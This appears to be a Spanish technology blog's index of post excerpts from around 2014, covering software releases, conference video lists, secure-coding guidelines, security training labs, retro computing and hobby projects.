En la primavera de 1978 mientras que Dan Bricklin se sentaba en una de las clases del Máster que se estaba sacando en la Escuela de Empresariales de Harvard (Harvard Business School), se le ocurrió la idea de plasmar de forma electrónica lo que el profesor estaba haciendo en la pizarra. Éste, estaba dibujando una matriz con números en ciertas celdas y operaciones aritméticas en ciertas otras. Es decir, a Bricklin se le acababa de ocurrir la idea de crear una hoja de cálculo electrónica.

Inicialmente Bricklin veía la idea como una especie de calculadora con ratón incorporado, el cual podría usar para moverse de un sitio a otro de la pantalla. Eventualmente abandonó dicha idea por una más realista y la enfocó apuntando a la pantalla de un ordenador y así creó un prototipo en uno de los servidores de tiempo compartido de la universidad a la que asistía. En ese prototipo, ya plasmó cosas como el emplazamiento números, fórmulas o el nombrar las filas y las columnas de la matriz para que fueran más amigables a la hora de referenciarlas por el usuario.

Analizando la actividad de tu sistema Linux

Puedes tener muchas razones por las que quieras monitorizar el comportamiento o actividad de un sistema, ya sean por razones de seguridad, rendimiento, etc.

Actualmente, en los sistemas basados en el núcleo de Linux tienes un buen puñado de utilidades que te permiten llevar a cabo esta tarea, pero en esta entrada quiero hablar sobre una que yo particularmente no conocía llamada: sysdig.

Sysdig es una herramienta open source que nos permite guardar el estado y actividad del sistema y más tarde filtrar y analizar. Según la propia web de Sysdig, es una mezcla de strace + tcpdump + lsof + funcionalidad extra con la ayuda de un poco de Lua.

Er docu der finde: La espada del samurai

Crea tu propio sistema operativo en C++

Si te interesa cómo funcionan los sistemas operativos, nada como escribir el tuyo propio para realmente conocer sus pilares.

How to Make a Computer Operating System es un proyecto en proceso, en el que capítulo a capítulo nos explican como crear nuestro propio sistema operativo desde cero, usando C++. El objetivo es crear un sistema operativo muy simple basado en UNIX.

Actualmente hay 8 de los 19 capítulos que en estos momentos están planeados:

Atom disponible para todos y liberado como Open …

Allá por febrero Github hizo público una noticia sobre un editor de texto llamado Atom, pensado para programadores. Un proyecto en el que habían estado trabajando durante dos años y medio y cuya motivación era la de crear un editor de textos que se adapten a los tiempos que corren (otro) y éste venía a “sustituir” a editores de renombre como Vim o Emacs.

Inicialmente Atom sólo estaba disponible para usuarios de Mac y a través de un proceso de aprobación. Ayer en el blog de dicho proyecto se hizo pública una entrada en la que anunciaban que Atom se había liberado de forma pública y además bajo la licencia MIT.

Er docu der finde: El mundo sin petróleo

Er docu der finde: La computadora del futuro

Un repaso a la historia de los Lenguajes de …

En este enlace puedes ver toda una selección de los interfaces utilizados por los lenguajes de programación visuales, empezando por nuestro querido Sketch Pad que puedes ver en la foto que encabeza este post (en este enlace tienes un vídeo explicando su funcionamiento).

Los lenguajes de programación visuales han sido toda una revolución en el mundo de la Informática cambiando por completo la forma de programar y acercándola más al ser humano. En los lenguajes de programación visuales creamos programas manipulando símbolos y objetos.

Er docu der finde: La historia del satélite

Se acaba de publicar Ubuntu 14.04 LTS

Personalmente me gusta usar distribuciones LTS por varias razones. Cuando Canonical publicó la versión 12.04 LTS, me actualicé desde la 10.04 LTS, la que funcionó muy funcionó durante esos 2 años. Después de actualizarme a 12.04 LTS (reinstalé, para ser más exactos) me llevé algunas desagradables sorpresas, y no porque no me gustara Unity, sino porque cosas como la conexión de 2 monitores externos no funcionaba, al menos a mi no me funcionaba. Llegué a la conclusión que el problema era del pobre soporte 3D de los drivers ATI que tenía.

TAILS, el sistema operativo usado por Edward …

The Amnesic Incognito Live System o quizás más conocido como TAILS, es un sistema operativo de estos que puedes arrancar y usar desde un DVD, lápiz USB, tarjeta de memoria, etc. Más conocido como sistema vivo o Live.

La principal característica de este sistema operativo es que está construido con la privacidad como pilar principal. Es un sistema Linux basado en Debian y que integra varias herramientas ya configuradas para usar la red Tor, GPG, OTR (Off The Record), cifrado de discos y particiones (LUKS), etc.

Videos de la PyCon 2014

PyCon es probablemente la mayor conferencia sobre el lenguaje de programación Python. Aunque la edición actual, 2014, está todavía en proceso (hasta el 17 de abril), ya se han publicado los vídeos de las charlas celebradas entre los días 11 y 13 de abril.

La lista de vídeos está disponible en PyVideo.org y os la dejo a continuación:

• 2D/3D graphics with Python on mobile platforms
• Advanced techniques for Web functional testing
• Analyzing Rap Lyrics with Python
• A Scenic Drive through the Django Request-Response Cycle
• Building the App
• Cheap Helicopters In My Living Room
• Closing address - PyCon 2014 (2014/04/13)
• Data intensive biology in the cloud: instrumenting ALL the things
• Deliver Your Software In An Envelope
• Designing Django's Migrations
• Designing Poetic APIs
• Developing Flask Extensions
• Discovering Python
• Diving into Open Data with IPython Notebook & Pandas
• Django: The good parts
• Farewell and Welcome Home: Python in Two Genders
• Fast Python, Slow Python
• Games for Science: Creating interactive psychology experiments
• Garbage Collection in Python
• Getting Started Testing
• Hitchhikers Guide to Participating in Open Source
• In Depth PDB
• Introduction to Docker
• Introduction to SQLAlchemy Core
• It's Dangerous to Go Alone: Battling the Invisible Monsters in Tech
• Keynote - Fernando Pérez
• Keynote - Guido Van Rossum
• Keynote - Jessica McKellar
• Keynote - Van Lindberg
• Know Thy Neighbor: Scikit and the K-Nearest Neighbor Algorithm
• Lightning talks - Saturday morning
• Lightning talks - Sunday morning
• Localization Revisited
• Multi-factor Authentication - Possession Factors
• My big gay adventure. Making, releasing and selling an indie game made in python.
• Outreach Program for Women: Lessons in Collaboration
• Performance Testing and Profiling: A Virtuous Cycle
• Postgres Performance for Humans
• PostgreSQL is Web Scale (Really :) )
• Programming an Autonomous 20 Foot Blimp with Python
• Pushing Python: Building a High Throughput, Low Latency System
• Python in the Browser: Intro to Brython
• Python packaging simplified, for end users, app developers
• Quick Wins for Better Website Security
• REST is not enough: Using Push Notifications to better support your mobile clients
• Sane schema migrations with Alembic and SQLAlchemy
• See Docs Run. Run, Docs, Run!
• Set your code free: releasing and maintaining an open-source Python project
• Smart Dumpster: Employing Python to Report Real-Time Resource
• Software Carpentry: Lessons Learned
• Software Engineering Research for Hackers: Bridging the Two Solitudes
• So You Want to Build an API?
• Subprocess to FFI: Memory, Performance, and Why You Shouldn't Shell Out
• Technical on-boarding, training, and mentoring.
• The Day of the EXE Is Upon Us
• The Sorry State of SSL
• Track memory leaks in Python
• Unit Testing Makes Your Code Better
• Upgrade your Web Development Toolchain
• What is coming in Python packaging
• Which messaging layer should you use if you want to build
• Writing RESTful web services with Flask
• Advanced methods for creating decorators
• All Your Ducks In A Row: Data Structures in the Standard Library and Beyond
• An Introduction to Twisted
• Ansible - Python-Powered Radically Simple IT Automation
• Application Deployment State of the Onion
• Bayesian statistics made simple
• Beyond Defaults: Creating Polished Visualizations Using Matplotlib
• Blending art, technology, and light, Python for interactive and real time
• Building and breaking a Python sandbox
• Build your own PiDoorbell! - Learn Home Automation with Python
• By Your Bootstraps: Porting Your Application to Python3
• Cache me if you can: memcached, caching patterns and best practices
• Castle Anthrax: Dungeon Generation Techniques
• Character encoding and Unicode in Python
• Computer science fundamentals for self-taught programmers
• Contribute with me! Getting started with open source development
• Data Wrangling for Kaggle Data Science Competitions -- An etude
• Decorators: A Powerful Weapon in your Python Arsenal
• Distributed Computing Is Hard, Lets Go Shopping
• Distributed task processing using Celery
• Django for Web Designers and Front End Developers
• Dynamics and Control with Python
• Enough Machine Learning to Make Hacker News Readable Again
• Fan-in and Fan-out: The crucial components of concurrency
• Faster Python Programs through Optimization
• Flask by Example
• For Lack of a Better Name(server): DNS Explained.
• Generators: The Final Frontier
• Getting Hy on Python: How to implement a Lisp front-end to Python
• Getting Started with SaltStack
• Hands-on with Pydata: how to build a minimal
• Hello Physical World: A Crash Course on the Internet of Things
• How to Get Started with Machine Learning
• Import-ant Decisions
• Improving automated testing with py.test
• Introduction to game programming
• Introduction to Regular Expressions
• Introduction to SQLAlchemy
• Introduction to Web (and data!) Scraping with Python
• IPython in depth: high productivity interactive and parallel python
• Keynote - John Perry Barlow
• Kneel And Disconnect: Getting The Fastest Connection Out Of A Hostname
• Let's Learn Twisted Python
• Lightning talks - Saturday Evening
• Pickles are for Delis, not Software
• PostgreSQL Proficiency for Python People
• Puppet Modules: Apps for Ops
• Python 3/2 Web Development with Pyramid
• Python for Social Scientists
• Python + Geographic Data = BFFs
• Python Scraping Showdown: A performance and accuracy review
• Realtime predictive analytics using scikit-learn & RabbitMQ
• Search 101: An Introduction to Information Retrieval
• Shiny, Let's Be Bad Guys: Exploiting and Mitigating the Top 10
• So you want to be a full-stack developer? How to build a full-stack python
• Straightening Out AngularJS with Python
• TDD for web applications, from scratch
• Teaching Python: To Infinity and Beyond
• The Python Pipeline: Why you should reach out to local teachers
• The State of Crypto in Python
• The Young Coder: Let's Learn Python
• Turn Your Computer Into a Server
• Twisted Mixing
• What Is Async, How Does It Work, And When Should I Use It?
• 0 to 00111100 with web2py
• Descriptors and Metaclasses - Understanding and Using Python's More Advanced Features
• Diving deeper into Machine Learning with Scikit-learn
• Exploring Machine Learning with Scikit-learn
• Getting Started with Django, a crash course
• Hands-on intro to Python for beginning programmers
• How to formulate a (science) problem and analyze it using Python code
• Lightning talks - Saturday morning
• Mining Social Web APIs with IPython Notebook
• mrjob: Snakes on a Hadoop
• Opening Statements - PyCon 2014 (2014/04/11)
• Python Epiphanies

Programación segura en Java/Android

El CERT mantiene una lista de reglas y buenas prácticas que recomiendan seguir cuando escribimos código en el lenguaje de programación Java de Oracle. La versión 1.0 de esta lista se apoya en las versiones 1.6 y 1.7 de Java.

La lista se divide en las siguientes secciones:

• 00. Input Validation and Data Sanitization (IDS)
• 01. Declarations and Initialization (DCL)
• 02. Expressions (EXP)
• 03. Numeric Types and Operations (NUM)
• 04. Object Orientation (OBJ)
• 05. Methods (MET)
• 06. Exceptional Behavior (ERR)
• 07. Visibility and Atomicity (VNA)
• 08. Locking (LCK)
• 09. Thread APIs (THI)
• 10. Thread Pools (TPS)
• 11. Thread-Safety Miscellaneous (TSM)
• 12. Input Output (FIO)
• 13. Serialization (SER)
• 14. Platform Security (SEC)
• 15. Runtime Environment (ENV)
• 16. Java Native Interface (JNI)
• 49. Miscellaneous (MSC)
• 50. Android (DRD)

Como podemos ver la última sección de la misma está orientada a Android, en la que se comentan los siguientes temas:

• DRD00-J. Do not store sensitive information on external storage (SD card)
• DRD01-J. Limit the accessibility to your sensitive content provider
• DRD02-J. Do not allow WebView to access sensitive local resource through file scheme
• DRD03-J. Do not broadcast sensitive information using an implicit intent
• DRD04-J. Do not log sensitive information
• DRD05-J. Do not grant URI permissions on implicit intents
• DRD06-J. Do not act on malicious intents
• DRD07-J. Protect exported services with strong permissions
• DRD08-J. Always canonicalize a URL received by a content provider
• DRD09-J: Restrict access to sensitive activities
• DRD10-J. Do not release apps that are debuggable
• DRD11-J. Ensure that sensitive data is kept secure
• DRD12-J. Do not trust data that is world writable
• DRD13-J. Do not allow JavaScript in Web Apps
• DRD14-J. Check that a calling app has appropriate permissions before responding
• DRD15-J. Consider privacy concerns when using Geolocation API
• DRD16-J. Explicitly define the exported attribute for private components
• DRD17-J. Do not use the Android cryptographic security provider encryption default for AES
• DRD18-J. Do not use the default behavior in a cryptographic library if it does not use recommended practices
• DRD19-J. Properly verify server certificate on SSL/TLS

Si eres de los que prefieres un libro, The CERT Oracle Secure Standard for Java (imagen que encabeza esta entrada), es una buena opción, aunque no cubre el apartado de Android, al menos en la revisión actual.

Vídeos de la Notacon 11

Desde la web de Irongeek podemos acceder a los vídeos de la Notacon 11, conferencia sobre seguridad informática celebrada del 10 al 13 de abril. Los vídeos disponibles son los siguientes:

• Big Data Technology – The Real World ‘Minority Report’ - Brian Foster
• Naisho DeNusumu (Stealing Secretly) – Exfiltration Tool/Framework - Adam Crompton
• Wireless Mesh Protocols - Alex Kot
• MDM is gone, MAM is come. New Challenges on mobile security - Yury Chemerkin
• Moving the Industry Forward – The Purple Team - David Kennedy
• Pwning the POS! - Mick Douglas
• Nindroid: Pentesting Apps for your Android device - Michael Palumbo
• Building a private data storage cloud - Michael Meffie
• Lessons Learned Implementing SDLC – and How To Do It Better - Sarah Clarke
• Plunder, Pillage and Print - Deral Heiland & Peter Arzamendi
• Microsoft Vulnerability Research: How to be a finder as a vendor - Jeremy Brown & David Seidman
• SMalware Analysis 101 – N00b to Ninja in 60 Minutes - grecs
• Omega – A Universe Over IP - Mo Morsi
• IRS, Identity Theft, and You (or Someone Pretending to Be You). - 123-45-6789
• All About the Notacon Badge -Sam Harmon
• Collaboration between Artificial Intelligence and Humans: How to cure every disease within 50 years - Joe O’Donnell
• Science “Fair” - The Nomad Clan
• Hacking Your Way Into the APRS Network on the Cheap - Mark Lenigan
• Dominate! (Or let your computer do it for you.) - Paul Jarc
• Wearable Technology as Art for Countersurveillance, Cinemaveillance, and Sousveillance - Ross Bochnek
• 3D Printing for Work and Fun (temp title) - Mirabela Rusu
• Comparing “Go Green” With “Common Sense” - Suellen Walker
• Living in the Future: It seems to be in Beta - Jeff Goeke-Smith
• A Brief Introduction to Game Theory - Charlotte DeKoning - Beyond Using The Buddy System - Holly Moyseenko & Kris Perch

Editor hexadecimal online

Un editor hexadecimal es una de las herramientas que siempre es bueno tener a mano. Recuerdo usar este tipo de herramientas en mis tiempos de Spectrum y Amiga para cambiar el texto que aparecían en los juegos. Una tontería, pero me divertía :)

El editor que actualmente uso es wxHex Editor. Aunque yo personalmente prefiero usar aplicaciones locales, también me gusta tener a mano herramientas online, porque nunca se sabe en que sistema te vas a encontrar y que herramientas vas a necesitar.

Er docu der finde: Si no tuviéramos la luna

Presentaciones de la SyScan 2014

Las presentaciones de la SyScan 2014 celebrada en Singapur del 31 de marzo al 4 de abril ya están disponible para descarga. El material disponible es el siguiente:

• Charlie Miller and Chris Valasek - Car Hacking for Poories
• Corey Kallenberg, Xeno Kovah, John Butterworth, Sam Cornwell - Setup for Failure: Defeating SecureBoot
• Daniel Bilar - Scientific Best Practices for Recurrent Problems in Computer Security R&D
• Alfredo Ortega - Deep-Submicron Backdoor
• Adam Laurie - RFIDler
• Anton Sapozhnikov - Getting User Credentials is not only Admin's Privilege
• Joxean Koret - Breaking Antivirus Software
• Mathias Payer - Embracing the New Threat: Towards Automatically Self-Diversifying Malware
• Josh "m0nk" Thomas - How to Train your SnapDragon: Exploring Power Regulation Frameworks on Android
• Dr. Thaddeus (The) Grugq - Click and Dragger: Denial and Deception on Android Smartphones
• Alex Plaskett and Nick Walker - Navigating a sea of Pwn?: Windows Phone 8 AppSec
• Snare and Rzn - Thunderbolts and Lightning: Very Very Frightening
• Georg Wicherski - Linux Memory Forensics: A Real-Life Case Study

Domingo por la mañana, Haim, Don't Save Me

Haim

Spotify & GrooveShark

Phrack cambia la periodicidad de publicación

La archiconocida y magnífica revista electrónica Phrack ha hecho público una nota en la que anuncian cambios en la política de publicación.

Phrack se iba publicando tras varios meses y últimamente incluso años. A ese ritmo, el problema es que si alguien manda un artículo y éste se publica un año o dos más tarde, dicho artículo ya se esté obsoleto o no tenga relevancia alguna. Por ello, Phrack ha decidido crear una sección llamada Paper Feed, en la que se irán haciendo públicos los artículos que sean enviados y aprobados por los revisores.

Er docu der finde: Cómo comenzar una revolución

Microhistorias: Posiblemente el contrato más …

Without the wind, the grass does not move. Without software, hardware is useless. Geoffrey James, "The Tao of Programming"

Como bien dice Geoffrey James, el hardware sin software es inútil. Esa era en la situación que se encontraba Apple después de crear su Apple II. Bueno no era sólo esa, el Apple II inicialmente carecía de disquetera y lo que incluía era un lector cassette.

Steve Wozniak y Steve Jobs ya se habían hecho popular entre los aficionados a la informática de la época con su Apple I. El Apple II no sólo vendría a reemplazar el Apple I, sino a crear un ordenador personal, pero que además fuera tenido en cuenta en el ámbito de los negocios.

Pyringe - Depurador Python

Según la documentación, Pyringe es un depurador (debugger) en Python capaz de adjuntarse a procesos activos, leer su estado e incluso inyectar código python mientras que estos están corriendo. Puedes además listar hilos (threads), rutas (tracebacks), inspeccionar funciones locales, globales, etc.

Pyringe usa por detrás GDB. No sólo necesitas GDB, sino que necesitas que éste sea la versión 7 o más nueva y que haya sido compilado con la opción –with-python. También necesitas la librería símbolos de la versión de Python que estés usando:

Tercera edición de HighSecCON

HighSecCON es un evento organizado por HighSec en el que se presentan charlas sobre cualquier tema relacionado con la seguridad.

El evento es completamente gratuito y sin ánimo de lucro, dónde cuyo único fin es seguir difundiendo conocimiento, experiencias y que los asistentes puedan conocer gente dentro del mundo de la seguridad. Además, el evento esta muy enfocado a difundir estos conocimientos dentro del mundo universitario. Éste se celebra en la Escuela Politécnica de la Universidad Autónoma de Madrid.

Simulador de ensamblador de 8 bits

Esta es otra pequeña joyita con la que me he topado y que a alguno le traerá buenos recuerdos del pasado.

Simple 8-bit Assembler Simulator es pues eso, un simulador de ensamblador de 8 bits. Está basado en NASM, provee una sintaxis simplificada y emula el funcionamiento de un procesador x86. La CPU obviamente es de 8 bits y además disponemos de un mapa de memoria de 256 bytes, así como de 4 registros de propósito general. Las instrucciones y los operadores ocupan 1 byte.

Er docu der finde: Guardianes de la tierra

Microsoft libera el código fuente de MS-DOS y …

Microsoft ha donado al Museo de la historia del ordenador, el código fuente de dos los programas más usados en los 80s: MS DOS y Microsoft Word for Windows.

Las versiones donadas son MS DOS 1.1 y 2.0 y MS Word for Windows 1.1a.

El archivo zip de MS DOS contiene:

• v11source: 7 ficheros escritos en ensamblador y un email explanatorio de Tim Paterson.
• v11object: 27 ficheros binarios y algunos ejemplos.
• v20source: 118 ficheros de texto, la mayoría código ensamblador y algo de documentación.
• v20object: 38 ficheros binarios y algo de documentación.

Microsoft Word ocupa 7MB en un archivo zip. Contiene 1021 ficheros, 33 directorios y está mayormente escrito en C y algo de ensamblador.

Esto es sin duda alguna un reliquia histórica. ¿Sabías que Microsoft fue la empresa que poseía más sistemas operativos en los 80s? ¿O cómo Microsoft influyó en el desarrollo de Unix en los ordenadores personales?

Er docu der finde: Ciberbasura sin fronteras

iOS Reverse Engineering Toolkit

iOS Reverse Engineering Toolkit o iRet es un conjunto de herramientas que ayudan al auditor de seguridad a llevar a cabo tareas comunes de forma automática. Dichas tareas se enfocan en análisis e ingeniería inversa de aplicaciones iOS, plataforma móvil de Apple (iPhone/iPad).

Este conjunto de herramientas o toolkit tiene ciertas dependencias que podemos ver en la siguiente imagen (haz click en la misma para agrandarla):

De entre las tareas que este toolkit es capaz de automatizar, tenemos:

Crypto 101

Crypto 101 es un proyecto (en proceso) sobre criptografía. Éste es un libro electrónico orientado para programadores de todos los niveles y está enfocado en los sistemas criptográficos actuales, sus debilidades y como romperlos.

El libro empieza con conceptos básicos y va avanzando hasta llegar a sistemas criptográficos completos como: SSL y TLS, OpenPGP y GPG y OTR (Off-The-Record Messaging).

Los capítulos que podemos encontrar en el mismo son los siguientes:

Er docu der finde: La tecnología de los 60s

Incremento de popularidad sobre la programación

Fuente

Compilador interactivo de C/C++

Cuando haces ingeniería inversa a un binario (del cual no dispones del código fuente), no es sólo importante tener conocimientos de ensamblador, la pila, montículo (heap), registros, etc sino también es importante conocer los pequeños trucos y patrones que usa el compilador/es a la hora de generar el código binario.

¿Cómo se traduce una instrucción if? ¿y un switch? ¿bucles? ¿operaciones con punteros? ¿arrays? ¿construtores/destructores en C++? ¿Intel, ARM? etc

Er docu der finde: ¿Me puedo fiar de la Wikipedia?

http://www.youtube.com/watch?v=zfBxx7W0uds

La sentencia prohibida

Últimamente se han descubierto un par de errores bastante serios relacionados con la comprobación de certificados digitales. El primero de los casos saltó a la palestra cuando Apple trató de parchear de forma silenciosa parte del código nativo en los sistemas de Apple que valida los certificados digitales. En este caso a Apple se le “escapó” un goto fail; que prácticamente invalidaba la función de validación. Este sólo parece que afectaba a Safari dentro los navegadores más conocidos, ya que Firefox y Chrome usan sus propias rutinas de comprobación y no la nativa del sistema. Ya nuestros compañeros de Seguridad Apple se hicieron eco de la noticia en su día y si quieres saber un poco más dales una visita.

Broadcom publica el código fuente de la GPU de …

Vaya regalazo de cumpleaños de Broadcom. Tal día como hoy, dos años atrás se ponían a la venta 100.000 unidades de Raspberry Pies. Hoy Broadcom ha liberado el código fuente del subsistema gráfico BCM21553, usado por el procesador BCM2835, el cual es el encargado del procesamiento gráfico de Raspberry Pi.

El código fuente se encuentra disponible desde este enlace y la documentación desde este otro (PDF).

Con motivo de dicho evento, la fundación Rasperry Pi ha anunciado que premiará con 10.000 dólares al primero que corra Quake III a una velocidad decente de juego. Aquí puede encontrar más información al respecto.

Er docu der finde: La tecnología de la Nasa

Datos robados o perdidos en 2013

Explore more infographics like this one on the web's largest information design community - Visually.

Aprende ensamblador de una manera fácil y segura

Para aprender a programar en ensamblador y sentir el hardware un poco más cerca, nada mejor que empezar con una arquitectura sencilla, con pocas instrucciones y simple.

El proyecto YASP es un entorno de desarrollo de ensamblador totalmente funcional basado en la web, es decir, todo lo que necesitas es un navegador para poder usarlo.

YASP provee de un ensamblador real, emulador y depurador, además de simulador de hardware sencillo. Es un entorno ideal para aprender y practicar sin temor a romper nada.

Er docu der finde: Cuerpo eléctrico

Tutorial para instalar un cluster de 40 nodos con …

No todos tenemos acceso a la computación distribuida pero siempre podemos recurrir a nuestro gadget favorito, Raspberry pi. Existen muchos proyectos para crear un cluster con este maravilloso dispositivo, pero son bastante caros y ocupan demasiado espacio. En cambio este es más o menos asequible (3.000$ según el autor, aunque siempre podemos rebajar los componentes para hacerlo más barato) y además ocupa el espacio de un ordenador de mesa.

Como ya hemos comentado, el proyecto se centra en gran parte en integrarlo en el interior de una caja de un ordenador de sobremesa (aparte de experimentar con software distribuido) lo que hace que el diseño final sea bastante llamativo  a la vez que práctico. Entre otros componentes,  incluye por ejemplo dos switches de 24 puertos , un router wifi y una fuente de alimentación ATX (sí, una sola para todo el proyecto). En este enlace puedes ver todo lo necesario para montarlo.

Crea tu propia versión de Flappy Bird

Creo que a día de hoy todos, al menos, hemos oído el nombre de FlappyBird. A mi personalmente me importa más bien poco el revuelo ocasionado por la retirada del juego del App Store de Apple o el Market de Android. Si alguien ha vivido bajo una piedra en la última semana, busca por Google.

El motivo de esta entrada es el de hacer referencia a un tutorial sobre como programar FappyBird. Un juego basado en el famoso FlappyBird.

Domingo por la mañana, Everything, Nine Inch Nails

GrooveShark & Spotify

Cómo se construyen los niveles del juego Spelunky …

Antes de nada, si nunca has visto o has jugado a Spelunky (un juego del tipo "roguelike"), descarga la versión gratuita desde este enlace ó echa un vistazo al vídeo que acompaña el post. Este genial y divertido juego de plataformas tiene una característica muy especial, los niveles son generados de forma automática usando una técnica llamada generación procedural. Por lo tanto nunca jugaras la misma partida, ya que los niveles se generan de forma aleatoria en vez de ser creados con algún editor de mapas).

Er docu der finde: La caza policial de los …

Algunos libros gratuitos de Microsoft

Buena colección de libros que Microsoft Press ofrece de forma gratuita en formato PDF, epub y mobi.

No son muchos pero tienen muy buena pinta (sobre todo si estás interesado en System Center, hay varios de ellos).

Introducing Microsoft System Center 2012 R2 Mitch Tulloch with Symon Perriman and the System Center team January 2014 180 pages

Get a high-level overview of System Center 2012 R2—and get a running start transforming your datacenter and cloud-optimizing your business. This guide introduces core features and functionality, with technical advice and under-the-hood insights from a Microsoft MVP and members of the System Center team at Microsoft.

 Download the PDF (12.4 MB) Download the EPUB file (24.3 MB) Download the Mobi for Kindle file (43.1 MB)

Guía avanzada para sincronizar datos con rsync

El protocolo rsync es en apariencia, sencillo de utilizar. En cambio si profundizamos en sus características avanzadas veremos que es una herramienta realmente potente para hacer copias de seguridad, sincronizar información e incluso para hacer copias incrementales con snapshots. Si no conoces rsync, te recomendamos que antes leas este artículo, también de HowToGeek, donde hacen una introducción al protocolo: how to use rsync to backup your data on Linux.

En cambio este otro artículo es más avanzado y además está orientado para usuarios de Linux como de Windows. De hecho al principio del mismo se explica cómo instalar todo el entorno necesario para ejecutar rsync en Windows. Luego se explican los comandos necesarios para realizar backups y sincronización de archivos, terminando con los snapshots (quizás la característica más interesante de rsync). Si accidentalmente borras un fichero o un virus los corrompe, si ejecutas rsync para backup tus copias de seguridad se sobreecribirán con estos ficheros corruptos. Para evitarlo podemos utilizar la característica de los snapshots (instantánea del sistema) de rsync, que sencillamente consiste en que los ficheros modificados se copian en ficheros/carpetas distintos/as cada vez que se ejecuta el script de backup. Esto provocaría problemas de consumo de tiempo así como de espacio pero los snapshots utilizan una característica llamada "hardlink" que evita estos problemas (en el artículo te explica este término con ejemplos).

Por qué los desarrolladores necesitan herramientas …

Fuente

Er docu der finde: Peligros detrás de la red

Aplicación iOS vulnerable para profesionales, …

DVIA (Damn Vulnerable iOS Application) de acuerdo son su web es una aplicación para iOS (iPhones/iPads) con las principales 10 vulnerabilidades en dispositivos móviles según OWASP.

Las vulnerabilidades incluidas son:

• Insecure Data Storage
• Jailbreak Detection
• Runtime Manipulation
• Transport Layer Security
• Client Side Injection
• Information Disclosure
• Broken Cryptography
• Application Patching

El objetivo de esta aplicación es el proveer una plataforma de "entrenamiento" para entusiastas, profesionales y estudiantes de la seguridad móvil (iOS). DVIA no sólo contiene las vulnerabilidades ya mencionadas, sino que además contiene una serie de retos a los que el usuario podrá enfrentarse, además también dispone de una serie de artículos relacionados con la seguridad en aplicaciones iOS. DVIA está probada hasta la version 7.0.4 de iOS.

La puedes descargar desde este enlace.

Process Explorer 16 ahora integrado con VirusTotal

Integración de VirusTotal (fíjate en la última columna) en Process Explorer

Todo conocemos la fantástica herramienta de SysInternals, Process Explorer (creado por Mark Russinovich). Pues ahora la revista WindowsITPro anuncia que ahora se puede enviar directamente desde la aplicación, información sobre el proceso sospechoso a VirusTotal. En concreto no envía el fichero completo, supuestamente se envía sólo el hash del mismo. Esto facilita realmente el análisis de procesos maliciosos en el ordenador con dos click de ratón.

The MagPi número 20

Ya está disponible el vigésimo número de esta gran revista electrónica The MagPi, dedicada a Raspberry Pi.

El índice de este número es:

• PROJECT CURACAO: REMOTE SENSOR MONITORING IN THE CARIBBEAN
• PROGRAMMING FOR PI-PAN
• QUADCOPTER
• ENVIRONMENTAL MONITOR
• COMPETITION
• CABLE MODEM
• RACKS OF PI
• THIS MONTH'S EVENTS GUIDE
• ALGOID
• THE SCRATCH PATCH
• MY OS: BUILD A CUSTOMISED OPERATING SYSTEM
• BOOK REVIEWS
• FEEDBACK

Puedes descargar la versión PDF desde aquí o leerlo online.

Controlando las puertas del garaje con un …

En esta entrada os voy a detallar un pequeño proyecto en el que trabajé la semana pasada aprovechando la helada que tuvimos.

El proyecto consiste en poder abrir y cerrar las puertas del garaje de forma remota, así como saber el estado (abierta o cerrada) de cada una de las puertas. En mi caso, hablo de puertas en plural porque como podéis ver en la foto que encabeza esta entrada mi garaje tiene dos puertas. El proyecto es perfectamente válido para garajes de una o más de dos puertas.

Los productos de Apple desde 1976-2012

Haz click en la imagen para verla más grande

Fuente

Tutorial para crear un juego multijugador en Java …

No os perdáis este completo tutorial para desarrollar paso a paso un juego multijugador en red usando libgdx (framework para desarrollo de juegos en Java). Puedes ejecutar y hacer debug directamente en el escritorio, haciendo más cómoda y rápida la programación.

El objetivo de este tutorial es mostrar como los desarrolladores pueden crear juegos multiplayer integrando AppWarp cloud Java SDK con libgdx. En el juego de ejemplo, se usa de base el código de un juego para un sólo jugador ("superjumper", el juego de ejemplo que viene con las librerías), que luego poco a poco se va convirtiendo en multijugador en tiempo real.

Domingo por la mañana, Kurt Vile, Shame Chamber

Spotify y GrooveShark

Kurt Vile

Er docu der finde: La tecnología del Titanic

Ingeniería Inversa "extrema" al clásico Tetris de …

Este espectacular artículo de ingeniería inversa que puedes ver completo en el enlace original mechanics of how Tetris works, then builds an AI to play the game, explica al detalle el mecanismo del clásico de Nintendo de 1989, Tetris. Para llevar a cabo este análisis, el autor del artículo explora a fondo y con un detalle realmente increíble, la ROM original. Como la NES estaba basada en el microprocesador MOS 6502, toca volver a desempolvar nuestros libros de nuestro querido ensamblador 6502.

La otra presentación del Macintosh nunca vista …

Click para ver el vídeo desde el artículo original

Todos recordamos esa genial presentación del mítico Macintosh realizada por un joven Steve Jobs en 1984 con la música de Carros de Fuego de fondo y ese espectacular vídeo de Ridley Scott. Lo que no se recuerda tanto es que Steve realizó esa presentación dos veces en menos de una semana, una para los accionistas (la legendaria presentación que todos conocemos) y otra para el público en general, no menos espectacular pero menos conocida. Seis días después de mostrar el Mac en el Flint Center (en De Anza Collegue cerca de Cupertino), él realizó otro show en el Boston Computer Society.

XSS y MySQL FILE

XSS and MySQL FILE es el título de un nuevo laboratorio que PentesterLab ha creado. En esta ocasión el objetivo es aprender como robar las cookies de otro usuario (Administrador) usando técnicas de Cross Site Scripting (XSS).

Es un laboratorio para principiantes y todo lo que necesitas son conocimientos básicos sobre HTTP y PHP, además de un software de virtualización para poder correr la máquina virtual que te puedes descargar desde aquí en su versión de 64bits o desde aquí si prefieres la versión de 32bits.

Las guías de Github

Github ha anunciado Github Guides, una serie de guías que nos ayudan a entender mejor conceptos específicos del ciclo de vida de nuestro proyecto sobre dicha plataforma.

En estos momentos hay 4 guías disponibles:

• Understanding the GitHub Workflow
• Getting your project on GitHub
• Mastering Issues
• Mastering Markdown

Además de las mismas, también existe un canal de youtube con varios vídeos donde podemos aprender de una forma más visual.

Estas guías junto a los cursos oficiales son un gran recurso no sólo para aprender como user Github, sino Git propiamente dicho.

Complementa las man pages con ejemplos

La expresión: una imagen vale más que mil palabras, la podríamos trasponer en muchas ocasiones a: un ejemplo vale más que 1000 líneas de documentación.

Y es que cuando necesitamos ejecutar algún comando y no nos acordamos de la sintaxis o los parámetros del mismo todo lo que queremos ver es un ejemplo que nos refresque un poco la memoria y no leernos la documentación del comando en sí o la ayuda, que en muchos casos es extensa y poco comprensible.

El emulador de PC más pequeño del mundo

El código comentado ocupa algo menos de 25Kb, está escrito en C es Open Source y emula un PC-XT compatible (8086 CPU) más teclado XT, disco duro/floppy, reloj y tarjeta gráfica Hercules.

Es capaz de correr aplicaciones como AutoCAD, Windows 3.0 y juegos antiguos de PC.

